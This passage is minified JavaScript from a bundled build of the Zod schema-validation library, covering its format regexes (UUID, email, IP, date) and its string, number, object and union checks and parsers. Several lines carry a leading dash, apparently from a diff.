RegExp(`^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-${e}[0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12})$`):/^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$/,$_=/^(?!\.)(?!.*\.\.)([A-Za-z0-9_'+\-\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/,L_="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$";function D_(){return new RegExp(L_,"u")}const M_=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,F_=/^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$/,U_=/^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/([0-9]|[1-2][0-9]|3[0-2])$/,Z_=/^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,q_=/^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/,gv=/^[A-Za-z0-9_-]*$/,V_=/^https?$/,W_=/^\+[1-9]\d{6,14}$/,yv="(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))",H_=new RegExp(`^${yv}$`);function _v(e){const n="(?:[01]\\d|2[0-3]):[0-5]\\d";return typeof e.precision=="number"?e.precision===-1?`${n}`:e.precision===0?`${n}:[0-5]\\d`:`${n}:[0-5]\\d\\.\\d{${e.precision}}`:`${n}(?::[0-5]\\d(?:\\.\\d+)?)?`}function K_(e){return new RegExp(`^${_v(e)}$`)}function G_(e){const n=_v({precision:e.precision}),o=["Z"];e.local&&o.push(""),e.offset&&o.push("([+-](?:[01]\\d|2[0-3]):[0-5]\\d)");const s=`${n}(?:${o.join("|")})`;return new RegExp(`^${yv}T(?:${s})$`)}const J_=e=>{const n=e?`[\\s\\S]{${e?.minimum??0},${e?.maximum??""}}`:"[\\s\\S]*";return new RegExp(`^${n}$`)},Q_=/^-?\d+n?$/,Y_=/^-?\d+$/,wv=/^-?\d+(?:\.\d+)?$/,X_=/^(?:true|false)$/i,e8=/^[^A-Z]*$/,t8=/^[^a-z]*$/,St=j("$ZodCheck",(e,n)=>{var o;e._zod??(e._zod={}),e._zod.def=n,(o=e._zod).onattach??(o.onattach=[])}),Ev={number:"number",bigint:"bigint",object:"date"},xv=j("$ZodCheckLessThan",(e,n)=>{St.init(e,n);const o=Ev[typeof n.value];e._zod.onattach.push(s=>{const u=s._zod.bag,p=(n.inclusive?u.maximum:u.exclusiveMaximum)??Number.POSITIVE_INFINITY;n.value<p&&(n.inclusive?u.maximum=n.value:u.exclusiveMaximum=n.value)}),e._zod.check=s=>{(n.inclusive?s.value<=n.value:s.value<n.value)||s.issues.push({origin:o,code:"too_big",maximum:typeof n.value=="object"?n.value.getTime():n.value,input:s.value,inclusive:n.inclusive,inst:e,continue:!n.abort})}}),Iv=j("$ZodCheckGreaterThan",(e,n)=>{St.init(e,n);const o=Ev[typeof n.value];e._zod.onattach.push(s=>{const u=s._zod.bag,p=(n.inclusive?u.minimum:u.exclusiveMinimum)??Number.NEGATIVE_INFINITY;n.value>p&&(n.inclusive?u.minimum=n.value:u.exclusiveMinimum=n.value)}),e._zod.check=s=>{(n.inclusive?s.value>=n.value:s.value>n.value)||s.issues.push({origin:o,code:"too_small",minimum:typeof n.value=="object"?n.value.getTime():n.value,input:s.value,inclusive:n.inclusive,inst:e,continue:!n.abort})}}),n8=j("$ZodCheckMultipleOf",(e,n)=>{St.init(e,n),e._zod.onattach.push(o=>{var s;(s=o._zod.bag).multipleOf??(s.multipleOf=n.value)}),e._zod.check=o=>{if(typeof o.value!=typeof n.value)throw new Error("Cannot mix number and bigint in multiple_of check.");(typeof o.value=="bigint"?o.value%n.value===BigInt(0):r_(o.value,n.value)===0)||o.issues.push({origin:typeof o.value,code:"not_multiple_of",divisor:n.value,input:o.value,inst:e,continue:!n.abort})}}),r8=j("$ZodCheckNumberFormat",(e,n)=>{St.init(e,n),n.format=n.format||"float64";const o=n.format?.includes("int"),s=o?"int":"number",[u,p]=l_[n.format];e._zod.onattach.push(d=>{const m=d._zod.bag;m.format=n.format,m.minimum=u,m.maximum=p,o&&(m.pattern=Y_)}),e._zod.check=d=>{const m=d.value;if(o){if(!Number.isInteger(m)){d.issues.push({expected:s,format:n.format,code:"invalid_type",continue:!1,input:m,inst:e});return}if(!Number.isSafeInteger(m)){m>0?d.issues.push({input:m,code:"too_big",maximum:Number.MAX_SAFE_INTEGER,note:"Integers must be within the safe integer range.",inst:e,origin:s,inclusive:!0,continue:!n.abort}):d.issues.push({input:m,code:"too_small",minimum:Number.MIN_SAFE_INTEGER,note:"Integers must be within the safe integer range.",inst:e,origin:s,inclusive:!0,continue:!n.abort});return}}m<u&&d.issues.push({origin:"number",input:m,code:"too_small",minimum:u,inclusive:!0,inst:e,continue:!n.abort}),m>p&&d.issues.push({origin:"number",input:m,code:"too_big",maximum:p,inclusive:!0,inst:e,continue:!n.abort})}}),o8=j("$ZodCheckMaxLength",(e,n)=>{var o;St.init(e,n),(o=e._zod.def).when??(o.when=s=>{const u=s.value;return!Au(u)&&u.length!==void 0}),e._zod.onattach.push(s=>{const u=s._zod.bag.maximum??Number.POSITIVE_INFINITY;n.maximum<u&&(s._zod.bag.maximum=n.maximum)}),e._zod.check=s=>{const u=s.value;if(u.length<=n.maximum)return;const d=ju(u);s.issues.push({origin:d,code:"too_big",maximum:n.maximum,inclusive:!0,input:u,inst:e,continue:!n.abort})}}),i8=j("$ZodCheckMinLength",(e,n)=>{var o;St.init(e,n),(o=e._zod.def).when??(o.when=s=>{const u=s.value;return!Au(u)&&u.length!==void 0}),e._zod.onattach.push(s=>{const u=s._zod.bag.minimum??Number.NEGATIVE_INFINITY;n.minimum>u&&(s._zod.bag.minimum=n.minimum)}),e._zod.check=s=>{const u=s.value;if(u.length>=n.minimum)return;const d=ju(u);s.issues.push({origin:d,code:"too_small",minimum:n.minimum,inclusive:!0,input:u,inst:e,continue:!n.abort})}}),a8=j("$ZodCheckLengthEquals",(e,n)=>{var o;St.init(e,n),(o=e._zod.def).when??(o.when=s=>{const u=s.value;return!Au(u)&&u.length!==void 0}),e._zod.onattach.push(s=>{const u=s._zod.bag;u.minimum=n.length,u.maximum=n.length,u.length=n.length}),e._zod.check=s=>{const u=s.value,p=u.length;if(p===n.length)return;const d=ju(u),m=p>n.length;s.issues.push({origin:d,...m?{code:"too_big",maximum:n.length}:{code:"too_small",minimum:n.length},inclusive:!0,exact:!0,input:s.value,inst:e,continue:!n.abort})}}),Ha=j("$ZodCheckStringFormat",(e,n)=>{var o,s;St.init(e,n),e._zod.onattach.push(u=>{const p=u._zod.bag;p.format=n.format,n.pattern&&(p.patterns??(p.patterns=new Set),p.patterns.add(n.pattern))}),n.pattern?(o=e._zod).check??(o.check=u=>{n.pattern.lastIndex=0,!n.pattern.test(u.value)&&u.issues.push({origin:"string",code:"invalid_format",format:n.format,input:u.value,...n.pattern?{pattern:n.pattern.toString()}:{},inst:e,continue:!n.abort})}):(s=e._zod).check??(s.check=()=>{})}),s8=j("$ZodCheckRegex",(e,n)=>{Ha.init(e,n),e._zod.check=o=>{n.pattern.lastIndex=0,!n.pattern.test(o.value)&&o.issues.push({origin:"string",code:"invalid_format",format:"regex",input:o.value,pattern:n.pattern.toString(),inst:e,continue:!n.abort})}}),l8=j("$ZodCheckLowerCase",(e,n)=>{n.pattern??(n.pattern=e8),Ha.init(e,n)}),u8=j("$ZodCheckUpperCase",(e,n)=>{n.pattern??(n.pattern=t8),Ha.init(e,n)}),c8=j("$ZodCheckIncludes",(e,n)=>{St.init(e,n);const o=eo(n.includes),s=new RegExp(typeof n.position=="number"?`^.{${n.position}}${o}`:o);n.pattern=s,e._zod.onattach.push(u=>{const p=u._zod.bag;p.patterns??(p.patterns=new Set),p.patterns.add(s)}),e._zod.check=u=>{u.value.includes(n.includes,n.position)||u.issues.push({origin:"string",code:"invalid_format",format:"includes",includes:n.includes,input:u.value,inst:e,continue:!n.abort})}}),d8=j("$ZodCheckStartsWith",(e,n)=>{St.init(e,n);const o=new RegExp(`^${eo(n.prefix)}.*`);n.pattern??(n.pattern=o),e._zod.onattach.push(s=>{const u=s._zod.bag;u.patterns??(u.patterns=new Set),u.patterns.add(o)}),e._zod.check=s=>{s.value.startsWith(n.prefix)||s.issues.push({origin:"string",code:"invalid_format",format:"starts_with",prefix:n.prefix,input:s.value,inst:e,continue:!n.abort})}}),p8=j("$ZodCheckEndsWith",(e,n)=>{St.init(e,n);const o=new RegExp(`.*${eo(n.suffix)}$`);n.pattern??(n.pattern=o),e._zod.onattach.push(s=>{const u=s._zod.bag;u.patterns??(u.patterns=new Set),u.patterns.add(o)}),e._zod.check=s=>{s.value.endsWith(n.suffix)||s.issues.push({origin:"string",code:"invalid_format",format:"ends_with",suffix:n.suffix,input:s.value,inst:e,continue:!n.abort})}}),f8=j("$ZodCheckOverwrite",(e,n)=>{St.init(e,n),e._zod.check=o=>{o.value=n.tx(o.value)}});class m8{constructor(n=[]){this.content=[],this.indent=0,this&&(this.args=n)}indented(n){this.indent+=1,n(this),this.indent-=1}write(n){if(typeof n=="function"){n(this,{execution:"sync"}),n(this,{execution:"async"});return}const s=n.split(`
-`).filter(d=>d),u=Math.min(...s.map(d=>d.length-d.trimStart().length)),p=s.map(d=>d.slice(u)).map(d=>" ".repeat(this.indent*2)+d);for(const d of p)this.content.push(d)}compile(){const n=Function,o=this?.args,u=[...(this?.content??[""]).map(p=>`  ${p}`)];return new n(...o,u.join(`
-`))}}const v8={major:4,minor:4,patch:3},De=j("$ZodType",(e,n)=>{var o;e??(e={}),e._zod.def=n,e._zod.bag=e._zod.bag||{},e._zod.version=v8;const s=[...e._zod.def.checks??[]];e._zod.traits.has("$ZodCheck")&&s.unshift(e);for(const u of s)for(const p of u._zod.onattach)p(e);if(s.length===0)(o=e._zod).deferred??(o.deferred=[]),e._zod.deferred?.push(()=>{e._zod.run=e._zod.parse});else{const u=(d,m,h)=>{let y=Zr(d),w;for(const I of m){if(I._zod.def.when){if(h_(d)||!I._zod.def.when(d))continue}else if(y)continue;const z=d.issues.length,B=I._zod.check(d);if(B instanceof Promise&&h?.async===!1)throw new Wr;if(w||B instanceof Promise)w=(w??Promise.resolve()).then(async()=>{await B,d.issues.length!==z&&(y||(y=Zr(d,z)))});else{if(d.issues.length===z)continue;y||(y=Zr(d,z))}}return w?w.then(()=>d):d},p=(d,m,h)=>{if(Zr(d))return d.aborted=!0,d;const y=u(m,s,h);if(y instanceof Promise){if(h.async===!1)throw new Wr;return y.then(w=>e._zod.parse(w,h))}return e._zod.parse(y,h)};e._zod.run=(d,m)=>{if(m.skipChecks)return e._zod.parse(d,m);if(m.direction==="backward"){const y=e._zod.parse({value:d.value,issues:[]},{...m,skipChecks:!0});return y instanceof Promise?y.then(w=>p(w,d,m)):p(y,d,m)}const h=e._zod.parse(d,m);if(h instanceof Promise){if(m.async===!1)throw new Wr;return h.then(y=>u(y,s,m))}return u(h,s,m)}}ze(e,"~standard",()=>({validate:u=>{try{const p=__(e,u);return p.success?{value:p.data}:{issues:p.error?.issues}}catch{return w_(e,u).then(d=>d.success?{value:d.data}:{issues:d.error?.issues})}},vendor:"zod",version:1}))}),Du=j("$ZodString",(e,n)=>{De.init(e,n),e._zod.pattern=[...e?._zod.bag?.patterns??[]].pop()??J_(e._zod.bag),e._zod.parse=(o,s)=>{if(n.coerce)try{o.value=String(o.value)}catch{}return typeof o.value=="string"||o.issues.push({expected:"string",code:"invalid_type",input:o.value,inst:e}),o}}),Me=j("$ZodStringFormat",(e,n)=>{Ha.init(e,n),Du.init(e,n)}),h8=j("$ZodGUID",(e,n)=>{n.pattern??(n.pattern=j_),Me.init(e,n)}),g8=j("$ZodUUID",(e,n)=>{if(n.version){const s={v1:1,v2:2,v3:3,v4:4,v5:5,v6:6,v7:7,v8:8}[n.version];if(s===void 0)throw new Error(`Invalid UUID version: "${n.version}"`);n.pattern??(n.pattern=Jf(s))}else n.pattern??(n.pattern=Jf());Me.init(e,n)}),y8=j("$ZodEmail",(e,n)=>{n.pattern??(n.pattern=$_),Me.init(e,n)}),_8=j("$ZodURL",(e,n)=>{Me.init(e,n),e._zod.check=o=>{try{const s=o.value.trim();if(!n.normalize&&n.protocol?.source===V_.source&&!/^https?:\/\//i.test(s)){o.issues.push({code:"invalid_format",format:"url",note:"Invalid URL format",input:o.value,inst:e,continue:!n.abort});return}const u=new URL(s);n.hostname&&(n.hostname.lastIndex=0,n.hostname.test(u.hostname)||o.issues.push({code:"invalid_format",format:"url",note:"Invalid hostname",pattern:n.hostname.source,input:o.value,inst:e,continue:!n.abort})),n.protocol&&(n.protocol.lastIndex=0,n.protocol.test(u.protocol.endsWith(":")?u.protocol.slice(0,-1):u.protocol)||o.issues.push({code:"invalid_format",format:"url",note:"Invalid protocol",pattern:n.protocol.source,input:o.value,inst:e,continue:!n.abort})),n.normalize?o.value=u.href:o.value=s;return}catch{o.issues.push({code:"invalid_format",format:"url",input:o.value,inst:e,continue:!n.abort})}}}),w8=j("$ZodEmoji",(e,n)=>{n.pattern??(n.pattern=D_()),Me.init(e,n)}),E8=j("$ZodNanoID",(e,n)=>{n.pattern??(n.pattern=A_),Me.init(e,n)}),x8=j("$ZodCUID",(e,n)=>{n.pattern??(n.pattern=C_),Me.init(e,n)}),I8=j("$ZodCUID2",(e,n)=>{n.pattern??(n.pattern=R_),Me.init(e,n)}),S8=j("$ZodULID",(e,n)=>{n.pattern??(n.pattern=B_),Me.init(e,n)}),k8=j("$ZodXID",(e,n)=>{n.pattern??(n.pattern=P_),Me.init(e,n)}),b8=j("$ZodKSUID",(e,n)=>{n.pattern??(n.pattern=N_),Me.init(e,n)}),z8=j("$ZodISODateTime",(e,n)=>{n.pattern??(n.pattern=G_(n)),Me.init(e,n)}),T8=j("$ZodISODate",(e,n)=>{n.pattern??(n.pattern=H_),Me.init(e,n)}),C8=j("$ZodISOTime",(e,n)=>{n.pattern??(n.pattern=K_(n)),Me.init(e,n)}),R8=j("$ZodISODuration",(e,n)=>{n.pattern??(n.pattern=O_),Me.init(e,n)}),B8=j("$ZodIPv4",(e,n)=>{n.pattern??(n.pattern=M_),Me.init(e,n),e._zod.bag.format="ipv4"}),P8=j("$ZodIPv6",(e,n)=>{n.pattern??(n.pattern=F_),Me.init(e,n),e._zod.bag.format="ipv6",e._zod.check=o=>{try{new URL(`http://[${o.value}]`)}catch{o.issues.push({code:"invalid_format",format:"ipv6",input:o.value,inst:e,continue:!n.abort})}}}),N8=j("$ZodCIDRv4",(e,n)=>{n.pattern??(n.pattern=U_),Me.init(e,n)}),A8=j("$ZodCIDRv6",(e,n)=>{n.pattern??(n.pattern=Z_),Me.init(e,n),e._zod.check=o=>{const s=o.value.split("/");try{if(s.length!==2)throw new Error;const[u,p]=s;if(!p)throw new Error;const d=Number(p);if(`${d}`!==p)throw new Error;if(d<0||d>128)throw new Error;new URL(`http://[${u}]`)}catch{o.issues.push({code:"invalid_format",format:"cidrv6",input:o.value,inst:e,continue:!n.abort})}}});function Sv(e){if(e==="")return!0;if(/\s/.test(e)||e.length%4!==0)return!1;try{return atob(e),!0}catch{return!1}}const O8=j("$ZodBase64",(e,n)=>{n.pattern??(n.pattern=q_),Me.init(e,n),e._zod.bag.contentEncoding="base64",e._zod.check=o=>{Sv(o.value)||o.issues.push({code:"invalid_format",format:"base64",input:o.value,inst:e,continue:!n.abort})}});function j8(e){if(!gv.test(e))return!1;const n=e.replace(/[-_]/g,s=>s==="-"?"+":"/"),o=n.padEnd(Math.ceil(n.length/4)*4,"=");return Sv(o)}const $8=j("$ZodBase64URL",(e,n)=>{n.pattern??(n.pattern=gv),Me.init(e,n),e._zod.bag.contentEncoding="base64url",e._zod.check=o=>{j8(o.value)||o.issues.push({code:"invalid_format",format:"base64url",input:o.value,inst:e,continue:!n.abort})}}),L8=j("$ZodE164",(e,n)=>{n.pattern??(n.pattern=W_),Me.init(e,n)});function D8(e,n=null){try{const o=e.split(".");if(o.length!==3)return!1;const[s]=o;if(!s)return!1;const u=JSON.parse(atob(s));return!("typ"in u&&u?.typ!=="JWT"||!u.alg||n&&(!("alg"in u)||u.alg!==n))}catch{return!1}}const M8=j("$ZodJWT",(e,n)=>{Me.init(e,n),e._zod.check=o=>{D8(o.value,n.alg)||o.issues.push({code:"invalid_format",format:"jwt",input:o.value,inst:e,continue:!n.abort})}}),kv=j("$ZodNumber",(e,n)=>{De.init(e,n),e._zod.pattern=e._zod.bag.pattern??wv,e._zod.parse=(o,s)=>{if(n.coerce)try{o.value=Number(o.value)}catch{}const u=o.value;if(typeof u=="number"&&!Number.isNaN(u)&&Number.isFinite(u))return o;const p=typeof u=="number"?Number.isNaN(u)?"NaN":Number.isFinite(u)?void 0:"Infinity":void 0;return o.issues.push({expected:"number",code:"invalid_type",input:u,inst:e,...p?{received:p}:{}}),o}}),F8=j("$ZodNumberFormat",(e,n)=>{r8.init(e,n),kv.init(e,n)}),U8=j("$ZodBoolean",(e,n)=>{De.init(e,n),e._zod.pattern=X_,e._zod.parse=(o,s)=>{if(n.coerce)try{o.value=!!o.value}catch{}const u=o.value;return typeof u=="boolean"||o.issues.push({expected:"boolean",code:"invalid_type",input:u,inst:e}),o}}),Z8=j("$ZodBigInt",(e,n)=>{De.init(e,n),e._zod.pattern=Q_,e._zod.parse=(o,s)=>{if(n.coerce)try{o.value=BigInt(o.value)}catch{}return typeof o.value=="bigint"||o.issues.push({expected:"bigint",code:"invalid_type",input:o.value,inst:e}),o}}),q8=j("$ZodUnknown",(e,n)=>{De.init(e,n),e._zod.parse=o=>o}),V8=j("$ZodNever",(e,n)=>{De.init(e,n),e._zod.parse=(o,s)=>(o.issues.push({expected:"never",code:"invalid_type",input:o.value,inst:e}),o)});function Qf(e,n,o){e.issues.length&&n.issues.push(...qr(o,e.issues)),n.value[o]=e.value}const W8=j("$ZodArray",(e,n)=>{De.init(e,n),e._zod.parse=(o,s)=>{const u=o.value;if(!Array.isArray(u))return o.issues.push({expected:"array",code:"invalid_type",input:u,inst:e}),o;o.value=Array(u.length);const p=[];for(let d=0;d<u.length;d++){const m=u[d],h=n.element._zod.run({value:m,issues:[]},s);h instanceof Promise?p.push(h.then(y=>Qf(y,o,d))):Qf(h,o,d)}return p.length?Promise.all(p).then(()=>o):o}});function Na(e,n,o,s,u,p){const d=o in s;if(e.issues.length){if(u&&p&&!d)return;n.issues.push(...qr(o,e.issues))}if(!d&&!u){e.issues.length||n.issues.push({code:"invalid_type",expected:"nonoptional",input:void 0,path:[o]});return}e.value===void 0?d&&(n.value[o]=void 0):n.value[o]=e.value}function bv(e){const n=Object.keys(e.shape);for(const s of n)if(!e.shape?.[s]?._zod?.traits?.has("$ZodType"))throw new Error(`Invalid element at key "${s}": expected a Zod schema`);const o=s_(e.shape);return{...e,keys:n,keySet:new Set(n),numKeys:n.length,optionalKeys:new Set(o)}}function zv(e,n,o,s,u,p){const d=[],m=u.keySet,h=u.catchall._zod,y=h.def.type,w=h.optin==="optional",I=h.optout==="optional";for(const z in n){if(z==="__proto__"||m.has(z))continue;if(y==="never"){d.push(z);continue}const B=h.run({value:n[z],issues:[]},s);B instanceof Promise?e.push(B.then(D=>Na(D,o,z,n,w,I))):Na(B,o,z,n,w,I)}return d.length&&o.issues.push({code:"unrecognized_keys",keys:d,input:n,inst:p}),e.length?Promise.all(e).then(()=>o):o}const H8=j("$ZodObject",(e,n)=>{if(De.init(e,n),!Object.getOwnPropertyDescriptor(n,"shape")?.get){const m=n.shape;Object.defineProperty(n,"shape",{get:()=>{const h={...m};return Object.defineProperty(n,"shape",{value:h}),h}})}const s=qa(()=>bv(n));ze(e._zod,"propValues",()=>{const m=n.shape,h={};for(const y in m){const w=m[y]._zod;if(w.values){h[y]??(h[y]=new Set);for(const I of w.values)h[y].add(I)}}return h});const u=ii,p=n.catchall;let d;e._zod.parse=(m,h)=>{d??(d=s.value);const y=m.value;if(!u(y))return m.issues.push({expected:"object",code:"invalid_type",input:y,inst:e}),m;m.value={};const w=[],I=d.shape;for(const z of d.keys){const B=I[z],D=B._zod.optin==="optional",V=B._zod.optout==="optional",A=B._zod.run({value:y[z],issues:[]},h);A instanceof Promise?w.push(A.then(H=>Na(H,m,z,y,D,V))):Na(A,m,z,y,D,V)}return p?zv(w,y,m,h,s.value,e):w.length?Promise.all(w).then(()=>m):m}}),K8=j("$ZodObjectJIT",(e,n)=>{H8.init(e,n);const o=e._zod.parse,s=qa(()=>bv(n)),u=z=>{const B=new m8(["shape","payload","ctx"]),D=s.value,V=Q=>{const K=Gf(Q);return`shape[${K}]._zod.run({ value: input[${K}], issues: [] }, ctx)`};B.write("const input = payload.value;");const A=Object.create(null);let H=0;for(const Q of D.keys)A[Q]=`key_${H++}`;B.write("const newResult = {};");for(const Q of D.keys){const K=A[Q],Y=Gf(Q),ue=z[Q],ce=ue?._zod?.optin==="optional",pe=ue?._zod?.optout==="optional";B.write(`const ${K} = ${V(Q)};`),ce&&pe?B.write(`
-        if (${K}.issues.length) {
-          if (${Y} in input) {
-            payload.issues = payload.issues.concat(${K}.issues.map(iss => ({
-              ...iss,
-              path: iss.path ? [${Y}, ...iss.path] : [${Y}]
-            })));
-          }
-        }
-        
-        if (${K}.value === undefined) {
-          if (${Y} in input) {
-            newResult[${Y}] = undefined;
-          }
-        } else {
-          newResult[${Y}] = ${K}.value;
-        }
-        
-      `):ce?B.write(`
-        if (${K}.issues.length) {
-          payload.issues = payload.issues.concat(${K}.issues.map(iss => ({
-            ...iss,
-            path: iss.path ? [${Y}, ...iss.path] : [${Y}]
-          })));
-        }
-        
-        if (${K}.value === undefined) {
-          if (${Y} in input) {
-            newResult[${Y}] = undefined;
-          }
-        } else {
-          newResult[${Y}] = ${K}.value;
-        }
-        
-      `):B.write(`
-        const ${K}_present = ${Y} in input;
-        if (${K}.issues.length) {
-          payload.issues = payload.issues.concat(${K}.issues.map(iss => ({
-            ...iss,
-            path: iss.path ? [${Y}, ...iss.path] : [${Y}]
-          })));
-        }
-        if (!${K}_present && !${K}.issues.length) {
-          payload.issues.push({
-            code: "invalid_type",
-            expected: "nonoptional",
-            input: undefined,
-            path: [${Y}]
-          });
-        }
-
-        if (${K}_present) {
-          if (${K}.value === undefined) {
-            newResult[${Y}] = undefined;
-          } else {
-            newResult[${Y}] = ${K}.value;
-          }
-        }
-
-      `)}B.write("payload.value = newResult;"),B.write("return payload;");const oe=B.compile();return(Q,K)=>oe(z,Q,K)};let p;const d=ii,m=!Nu.jitless,y=m&&i_.value,w=n.catchall;let I;e._zod.parse=(z,B)=>{I??(I=s.value);const D=z.value;return d(D)?m&&y&&B?.async===!1&&B.jitless!==!0?(p||(p=u(n.shape)),z=p(z,B),w?zv([],D,z,B,I,e):z):o(z,B):(z.issues.push({expected:"object",code:"invalid_type",input:D,inst:e}),z)}});function Yf(e,n,o,s){for(const p of e)if(p.issues.length===0)return n.value=p.value,n;const u=e.filter(p=>!Zr(p));return u.length===1?(n.value=u[0].value,u[0]):(n.issues.push({code:"invalid_union",input:n.value,inst:o,errors:e.map(p=>p.issues.map(d=>gn(d,s,hn())))}),n)}const Tv=j("$ZodUnion",(e,n)=>{De.init(e,n),ze(e._zod,"optin",()=>n.options.some(s=>s._zod.optin==="optional")?"optional":void 0),ze(e._zod,"optout",()=>n.options.some(s=>s._zod.optout==="optional")?"optional":void 0),ze(e._zod,"values",()=>{if(n.options.every(s=>s._zod.values))return new Set(n.options.flatMap(s=>Array.from(s._zod.values)))}),ze(e._zod,"pattern",()=>{if(n.options.every(s=>s._zod.pattern)){const s=n.options.map(u=>u._zod.pattern);return new RegExp(`^(${s.map(u=>Ou(u.source)).join("|")})$`)}});const o=n.options.length===1?n.options[0]._zod.run:null;e._zod.parse=(s,u)=>{if(o)return o(s,u);let p=!1;const d=[];for(const m of n.options){const h=m._zod.run({value:s.value,issues:[]},u);if(h instanceof Promise)d.push(h),p=!0;else{if(h.issues.length===0)return h;d.push(h)}}return p?Promise.all(d).then(m=>Yf(m,s,e,u)):Yf(d,s,e,u)}}),G8=j("$ZodDiscriminatedUnion",(e,n)=>{n.inclusive=!1,Tv.init(e,n);const o=e._zod.parse;ze(e._zod,"propValues",()=>{const u={};for(const p of n.options){const d=p._zod.propValues;if(!d||Object.keys(d).length===0)throw new Error(`Invalid discriminated union option at index "${n.options.indexOf(p)}"`);for(const[m,h]of Object.entries(d)){u[m]||(u[m]=new Set);for(const y of h)u[m].add(y)}}return u});const s=qa(()=>{const u=n.options,p=new Map;for(const d of u){const m=d._zod.propValues?.[n.discriminator];if(!m||m.size===0)throw new Error(`Invalid discriminated union option at index "${n.options.indexOf(d)}"`);for(const h of m){if(p.has(h))throw new Error(`Duplicate discriminator value "${String(h)}"`);p.set(h,d)}}return p});e._zod.parse=(u,p)=>{const d=u.value;if(!ii(d))return u.issues.push({code:"invalid_type",expected:"object",input:d,inst:e}),u;const m=s.value.get(d?.[n.discriminator]);return m?m._zod.run(u,p):n.unionFallback||p.direction==="backward"?o(u,p):(u.issues.push({code:"invalid_union",errors:[],note:"No matching discriminator",discriminator:n.discriminator,options:Array.from(s.value.keys()),input:d,path:[n.discriminator],inst:e}),u)}}),J8=j("$ZodIntersection",(e,n)=>{De.init(e,n),e._zod.parse=(o,s)=>{const u=o.value,p=n.left._zod.run({value:u,issues:[]},s),d=n.right._zod.run({value:u,issues:[]},s);return p instanceof Promise||d instanceof Promise?Promise.all([p,d]).then(([h,y])=>Xf(o,h,y)):Xf(o,p,d)}});function lu(e,n){if(e===n)return{valid:!0,data:e};if(e instanceof Date&&n instanceof Date&&+e==+n)return{valid:!0,data:e};if(Xr(e)&&Xr(n)){const o=Object.keys(n),s=Object.keys(e).filter(p=>o.indexOf(p)!==-1),u={...e,...n};for(const p of s){const d=lu(e[p],n[p]);if(!d.valid)return{valid:!1,mergeErrorPath:[p,...d.mergeErrorPath]};u[p]=d.data}return{valid:!0,data:u}}if(Array.isArray(e)&&Array.isArray(n)){if(e.length!==n.length)return{valid:!1,mergeErrorPath:[]};const o=[];for(let s=0;s<e.length;s++){const u=e[s],p=n[s],d=lu(u,p);if(!d.valid)return{valid:!1,mergeErrorPath:[s,...d.mergeErrorPath]};o.push(d.data)}return{valid:!0,data:o}}return{valid:!1,mergeErrorPath:[]}}function Xf(e,n,o){const s=new Map;let u;for(const m of n.issues)if(m.code==="unrecognized_keys"){u??(u=m);for(const h of m.keys)s.has(h)||s.set(h,{}),s.get(h).l=!0}else e.issues.push(m);for(const m of o.issues)if(m.code==="unrecognized_keys")for(const h of m.keys)s.has(h)||s.set(h,{}),s.get(h).r=!0;else e.issues.push(m);const p=[...s].filter(([,m])=>m.l&&m.r).map(([m])=>m);if(p.length&&u&&e.issues.push({...u,keys:p}),Zr(e))return e;const d=lu(n.value,o.value);if(!d.valid)throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(d.mergeErrorPath)}`);return e.value=d.data,e}const Q8=j("$ZodRecord",(e,n)=>{De.init(e,n),e._zod.parse=(o,s)=>{const u=o.value;if(!Xr(u))return o.issues.push({expected:"record",code:"invalid_type",input:u,inst:e}),o;const p=[],d=n.keyType._zod.values;if(d){o.value={};const m=new Set;for(const y of d)if(typeof y=="string"||typeof y=="number"||typeof y=="symbol"){m.add(typeof y=="number"?y.toString():y);const w=n.keyType._zod.run({value:y,issues:[]},s);if(w instanceof Promise)throw new Error("Async schemas not supported in object keys currently");if(w.issues.length){o.issues.push({code:"invalid_key",origin:"record",issues:w.issues.map(B=>gn(B,s,hn())),input:y,path:[y],inst:e});continue}const I=w.value,z=n.valueType._zod.run({value:u[y],issues:[]},s);z instanceof Promise?p.push(z.then(B=>{B.issues.length&&o.issues.push(...qr(y,B.issues)),o.value[I]=B.value})):(z.issues.length&&o.issues.push(...qr(y,z.issues)),o.value[I]=z.value)}let h;for(const y in u)m.has(y)||(h=h??[],h.push(y));h&&h.length>0&&o.issues.push({code:"unrecognized_keys",input:u,inst:e,keys:h})}else{o.value={};for(const m of 